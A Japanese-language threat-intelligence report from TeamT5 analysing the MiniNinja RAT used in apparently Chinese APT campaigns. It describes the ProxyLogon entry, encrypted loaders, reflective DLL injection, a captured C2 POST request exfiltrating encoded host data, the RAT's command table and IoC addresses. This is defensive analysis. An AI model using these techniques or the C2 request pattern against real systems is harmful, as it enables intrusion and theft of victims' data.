TeamT5 は、複数の中国のAPTキャンペーンで使用されている新たなリモート管理ツール(RAT)を発見し、MiniNinjaと名付けました。TeamT5では、台湾、ロシア、キルギスタン、ウズベキスタン、ベトナム、フィリピン、パキスタンなどのさまざまなAPAC地域の国々がこのマルウェアの標的となり、攻撃を受けていることを確認しています。この影響を受けた業界には、政府、エネルギー、IT、電気通信、エンジニアリングなどが含まれています。MiniNinjaは複雑なマルウェアで、複数の高度なテクニックを用いて検出や分析を回避します。また、標的とする範囲が広いことも注目すべき点です。本レポートでは、私たちが行った分析で得られた技術的な詳細について紹介します。

MiniNinjaは、2021年3月上旬に台湾の政府機関に対する標的型攻撃で初めて出回っているのが発見されました。この脅威アクターは、ProxyLogonの脆弱性(CVE-2021-26855)を利用してメールサーバを侵害し、さらに被害者のネットワーク環境にCobaltStrike BeaconとMiniNinja RATを埋め込んでいました。この情報は、 ProxyLogonの脆弱性を利用した「Websiic キャンペーン」に関するESETのレポート[1]でも公開されています。TeamT5は、この新たなマルウェアの存在に気づき、その活動の追跡を開始しました。それ以来、TeamT5は、ベトナム[2]、パキスタン、フィリピンでその足跡を確認しており、おそらくProxyLogonの脆弱性を介して被害者のホストにも埋め込まれている可能性があります。最新見られた活動は、2021年9月にロシアとウズベキスタンに対して行われたスピアフィッシングメール攻撃でした。TeamT5は、これらの攻撃の属性をまだ特定できていません。しかしながら、そのTTPやC2インフラから、中国のAPTが使用する新たなツールであると確信しています。

アンチウイルスの検出を回避するために、MiniNinjaはバイナリペイロードファイルのバイナリBLOBとして暗号化されています。ネイティブPEまたは.Netに1つまたは複数のローダーコンポーネントを持っている可能性がありますが、基本的にはローダーは類似したタスクを実行します。ローダーコンポーネントは、反射型DLLインジェクション技術を介してメモリ内で解読および実行されます。ローダーは、まずペイロードファイルの先頭4バイトをチェックし、ヘッダチェックがパスした場合には3DES(112ビット)アルゴリズムを使用してコンテンツを復号化します。

2110-1.png

ローダーコンポーネントが複数ある場合は、さらに処理するために復号化されたバッファが第2ステージのローダーに渡される可能性があります。その後、ローダーはカスタムデコード方式とLZSS解凍アルゴリズムを使用してコンテンツを解読します。解読されたペイロードは、PEヘッダーが消去されたPEファイルで、単純なMiniNinja RATです。最後に、ローダーは自身が有するエクスポート関数「Debug」を見つけて、そこから実行を開始します。

2110-2.png

台湾の被害者から収集したペイロードの中に、開発者が残したPDB文字列(メモリ内のみ)が残っていたため、私たちはこのマルウェアをMiniNinjaと名付けました。

2110-3.png

解読されたマルウェアの構成ブロックには、Mutex文字列、C2 URL、HTTPヘッダー情報、スリープ時間などが含まれていました。

2110-4.png

実行すると、以下の情報を被害者のホストから収集します。

  • システム情報

  • OSバージョン

  • ホスト名

  • IPアドレス

  • プロセス名

  • プロセスID

上記のデータは、XORエンコードとカスタムbase64エンコードでエンコードされます。最後に、エンコードされた結果がPOST経由でMiniNinjaのC2に送信されます。

POST http://149.28.28.159:443/Collector/3.0/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 149.28.28.159:443
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko
Content-Length: 474
Pragma: no-cache

ngluKGJ2JZ2[NKOs506NzsX9yVU7gkxWozQK5WmWoaUr9C0DN0iXb6lwFkcb2CE3HBk[4ISP3nI88jpLROJhQp8PvwLHU6LGYT4J4d4WOETXaWu8jJLr0N80JNKmWRRSDKXoD]Wu3RI0XBwdm3bNtwJ2eTWZ0]4FAcLpw3WRspgfixnubeemSnViV2Rs77m]oaTfrHNCxFdoiIwSvBKJIjPJ[Qc1GCdteLSasYUHvVx3RIAgKOusXgh4Yy9tu4C1083RoI3E5ej7twUC0CdsmzGrZwqBJ5JOYkPHyPn7LNsFfF1UexYEZeyivz[NxuT4NQS0U7h[ZffjtiGr05wUVUl0W9xXsXB1W8xm5TYtWO969oYHrrpNa0bfCMFwGT99ZHTOJiexqpll1HYxU[9oV]flQm2SYXaRL[gc0M]icbcpG0FcHPB5umIZFdxGPTK96aTFlHY8gr1P3K0j[KLr91Lw$$

MiniNinjaは、ファイル、プロセス、メモリ、シェルまたはアカウント操作のコマンドをサポートする、フル機能のRATです。次のコマンド表は、サポートされる機能を示しています。

コマンド表

サポートされるコマンド:

コマンド

説明

0x4E20

Heart beat

0x4E21

Init dwProcessId

0x4E22

Change sleep time

0x4E23

Exit(ExitProcess)

0x4E24

CreateProcess

0x4E25

TerminateThread

0x4E26

set close_socket to 0

0x4E2A

ShellCommand

0x4E2B

Get Command Result(call WriteFile,PeekNamedPipe,ReadFile)

0x4E2C

TerminateProcess

0x4E2D

IterateProcess then TerminateProcess

0x4E34 ~ 0x4E47

File Operations

0x4E34

List Disk Driver

0x4E35

ListDirectory

0x4E36

CreateDirectory

0x4E37

DeleteFile

0x4E38

RemoveDirectory

0x4E39

MoveFile

0x4E3A

CreateFile

0x4E3E

ReadFile

0x4E3F

WriteFile

0x4E48 - 0x4E51

Socket Operations

0x4E48

Connet Host

0x4E49

Check socket status

0x4E4A

Send Data to Host

0x4E4B

Recv Data from Host

0x4E4C

Close socket

0x4E4D

Connect Host

Preserved?(0x4E4E-0x4E51)

Null

0x4E5C ~ 0x4E65

Memory Operations

0x4E5C

string copy

0x4E5D

string copy

0x4E5E

string copy

*0x4E5F,0x4E60

Execute Plugin? (CreateProcess, process Injection and createthread)

*0x4E61,0x4E62

FileMapping(Write data)

Preserved?(0x4E63,0x4E64)

Null

*0x4E65

Close File Handler

0x5208

List c2 configuration

0x4E52

List Process

0x4E53

IterateProcess,kill process

0x4E54

Process Injection

0x4E55

CreateThread for running DLL export function

0x4E56

Read FileMap data(OpenFileMappingA -> robject_,custom_base64)

0x4E57

Exit Dll function?(robject_, UnmapViewOfFile)

0x4E58

LookupAccountSid

IoC

  • 149.28.28.159

  • 167.99.168.251

  • 185.220.101.204

  • 162.247.72.199

  • 194.156.98.191

  • 202.182.100.134

  • 109.70.100.55

  • 185.220.101.18

  • 193.36.119.144 (台湾の侵害されたホスト)

参考文献

[1] https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

[2] https://gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html